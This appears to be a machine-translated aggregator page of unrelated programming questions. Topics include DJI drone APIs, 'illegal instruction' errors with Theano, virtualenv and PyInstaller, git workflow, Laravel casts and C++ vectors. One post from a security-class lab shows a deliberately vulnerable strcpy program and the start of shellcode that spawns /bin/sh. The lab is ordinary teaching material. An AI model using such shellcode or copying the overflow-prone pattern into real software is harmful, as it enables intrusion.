小编tka*_*usl的帖子

DJI Phantom API或hackable程序

也许我看上去不够努力,但我昨天花了一段时间用谷歌搜索,发现没有关于黑客入侵DJI Phantom Drone的相关项目,以便创建新的协调应用程序.这是DJI目前用于无人机的协调应用程序.我试图看看是否有办法与Drone通过特定协议进行通信,以便接受一组程序.

任何帮助都会很棒,谢谢.

dji-sdk

10
推荐指数
1
解决办法
7233
查看次数

导入theano得到非法指令

在安装了最新版本甚至卸载Theano后,我仍然从"import theano"获得"非法指令",我在ubuntu 12.04上精确

zhge@phx-r-ins1-7773:~$ sudo pip uninstall Theano
Uninstalling Theano:
Proceed (y/n)? y
  Successfully uninstalled Theano
zhge@phx-r-ins1-7773:~$ python
Python 2.7.3 (default, Sep 26 2013, 20:03:06)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import theano
Illegal instruction
zhge@phx-r-ins1-7773:~$
Run Code Online (Sandbox Code Playgroud)

python-2.7 ubuntu-12.04 theano

9
推荐指数
1
解决办法
3495
查看次数

尝试在OS X中使用virtualenv启动Python时出现"非法指令:4"

我已经在一个virtualenv环境中使用Python 2.7.10 几个月了.

昨天,激活环境很顺利,但是今天突然间我在尝试从终端启动Python时遇到了这个神秘的错误:

Illegal instruction: 4

我没有改变我的环境(AFAIK),所以我很难尝试解决这个错误是什么以及导致它的原因.

Python在这种virtualenv环境之外工作正常.通过/usr/local/bin它运行时没有问题.

macos virtualenv python-2.7

6
推荐指数
1
解决办法
2971
查看次数

尝试执行缓冲区溢出攻击时获取SIGILL

我正在为我的安全类工作我的缓冲区溢出项目,我想我已经设置好所有东西,但是当我运行它时,我得到:

Program received signal SIGILL, Illegal Instruction.
0x08048500 in main(argc=4854718, argv=0x0804b008) at stack.c:22
22       fread(str,sizeof(char),517,badfile);
Run Code Online (Sandbox Code Playgroud)

Heres stack.c

int bof(char *str) 
{
    char buffer[12]; 
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str); 
    return 1; 
} 

int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
}
Run Code Online (Sandbox Code Playgroud)

这是exploit.c

char code[]=

"\x31\xc0"                      // xorl         %eax,%eax

"\x50"                          // pushl        %eax

"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e

"\x68\x2f\x2f\x62\x69"          // pushl …
Run Code Online (Sandbox Code Playgroud)

c buffer-overflow

5
推荐指数
1
解决办法
3416
查看次数

Pyinstaller Illegal Instruction 4(其他电脑)

遇到pyinstaller的问题.我正在尝试使用PyInstaller发布一个exe/app文件.但是,任何试图打开我的文件的人最终都会收到非法指令4错误.

这只有在我尝试在我的机器上编译并发送给其他人时才会发生.使用相同进程和spec文件编译的其他人不会看到同样的问题.当我打开自己的文件时,exe和app文件打开没有错误.

任何和所有的想法赞赏!

系统细节:

OSX 10.9.4(所有机器都在此)

我的PyInstaller输出:

(veControl)ahaq-mbp-10028:asimov-control ahaque$ pyinstaller asimov_gui.spec --onefile
23 WARNING: You are running 64-bit Python: created binaries will only work on Mac OS X 10.6+.
If you need 10.4-10.5 compatibility, run Python as a 32-bit binary with this command:

VERSIONER_PYTHON_PREFER_32_BIT=yes arch -i386 /Users/ahaque/asimov-control/veControl/bin/python

4029 INFO: UPX is not available.
4050 INFO: Processing hook hook-os
4152 INFO: Processing hook hook-time
4154 INFO: Processing hook hook-cPickle
4220 INFO: Processing hook hook-_sre
4330 INFO: Processing hook hook-cStringIO
4424 INFO: …
Run Code Online (Sandbox Code Playgroud)

python pyinstaller

5
推荐指数
1
解决办法
741
查看次数

Git:如何确保新分支基于上游主服务器

我一直在用github犯很多菜鸟错误,结果我正在寻找一种万无一失的方法(确保我安全!),以确保:

a)我在fork上创建的所有新分支均基于原始主文件,而不是其他某些分支,并且...

b)我的原始母版始终与上游母版保持最新,并且...

c)当我提交(推送?)时/之前,我的更改将重新基于上游主服务器。

到目前为止,这就是我所拥有的...

要创建新分支:

git fetch --all --tag
git pull upstream master
git push origin master
git checkout -b my_branch_name -t origin/master
Run Code Online (Sandbox Code Playgroud)

要将我的更改存储到该分支:

git add -A
git commit -m "Summary of what changed"
git fetch --all --tag
git pull --rebase upstream master
git push origin my_branch_name
Run Code Online (Sandbox Code Playgroud)

要在以后加载现有分支(例如,根据PR反馈进行一些其他更改):

git fetch --all --tag
git pull upstream master
git push origin master
git checkout my_branch_name -t origin/master
Run Code Online (Sandbox Code Playgroud)

然后将更新保存到该分支:

git add -A
git commit --amend --no-edit
git fetch --all --tag
git pull …
Run Code Online (Sandbox Code Playgroud)

git branch github

5
推荐指数
3
解决办法
3258
查看次数

Laravel 5.4 转换不起作用

我的模特

class Subscriber extends Model
{
    protected $casts = [
        'filters' => 'object'
    ];
}
Run Code Online (Sandbox Code Playgroud)

修补匠:

$s = App\Subscriber::first();
$s->filters
// prints serialized json:
// ""{\"maxHyra\":\"8000\",\"minAntalRum\":\"2\",\"Ungdom\":\"true\",\"Student\":\"true\",\"Korttid\":\"true\",\"Bostadssnabben\":\"true\",\"_token\":\"0Y2f3eAl27ikrujvw7VBWNOaNXxchygaFUDSo4s4\"}""

json_decode($s->filters)
// prints a neat php object.
Run Code Online (Sandbox Code Playgroud)

所以显然我的属性中的数据很好,并且 json_decode 有效。但演员阵容不起作用。我也尝试过访问器但没有成功。

laravel laravel-5.4

5
推荐指数
1
解决办法
5074
查看次数

如何减少具有大量提交历史的 .git 文件夹的大小?

我们在一个小组中工作,每天大量提交数据,因为 .git 文件夹的大小变得非常大。并且在我们的系统上执行pull命令时,由于 .git 文件夹很大,需要很多时间。我们如何清理或减少这个 git repo 的大小?

git github

5
推荐指数
1
解决办法
4847
查看次数

如果元素类型是基元,std::vector::resize() 向下花费 O(1) 时间吗?

据我了解,在 C++ 中,std::vector::resize当新大小较小时不分配新内存。此外,如果元素类型是具有析构函数的用户定义类,则可以为调整大小中“丢失”的每个元素调用该析构函数,因此在这种情况下,运行时间将与大小差异呈线性关系。

但是,如果元素类型是原语,例如std::vector<int>,则无需调用析构函数。在这种情况下,是否有任何理由认为resize向下不会是 O(1) 时间?

c++ memory-management stdvector

5
推荐指数
1
解决办法
682
查看次数

为什么 C++ 不推荐使用的警告会打印两次?

如果我有

namespace foo {
    inline int bar() {
        return 1119;
    }
}

__attribute__((deprecated)) inline int bar() {
    return 138;
}
Run Code Online (Sandbox Code Playgroud)

header.h

#include "header.h"
#include <iostream>

int main() {
    int x = bar();
    int y = foo::bar();
    std::cout << x << std::endl;
    std::cout << y << std::endl;
}
Run Code Online (Sandbox Code Playgroud)

source.cpp,那么

g++ source.cpp -o deprecated-test
Run Code Online (Sandbox Code Playgroud)

结果是

source.cpp: In function ‘int main()’:
source.cpp:5:17: warning: ‘int bar()’ is deprecated [-Wdeprecated-declarations]
     int x = bar();
                 ^
In file included from source.cpp:1:
header.h:7:40: …
Run Code Online (Sandbox Code Playgroud)

c++ gcc g++

5
推荐指数
1
解决办法
177
查看次数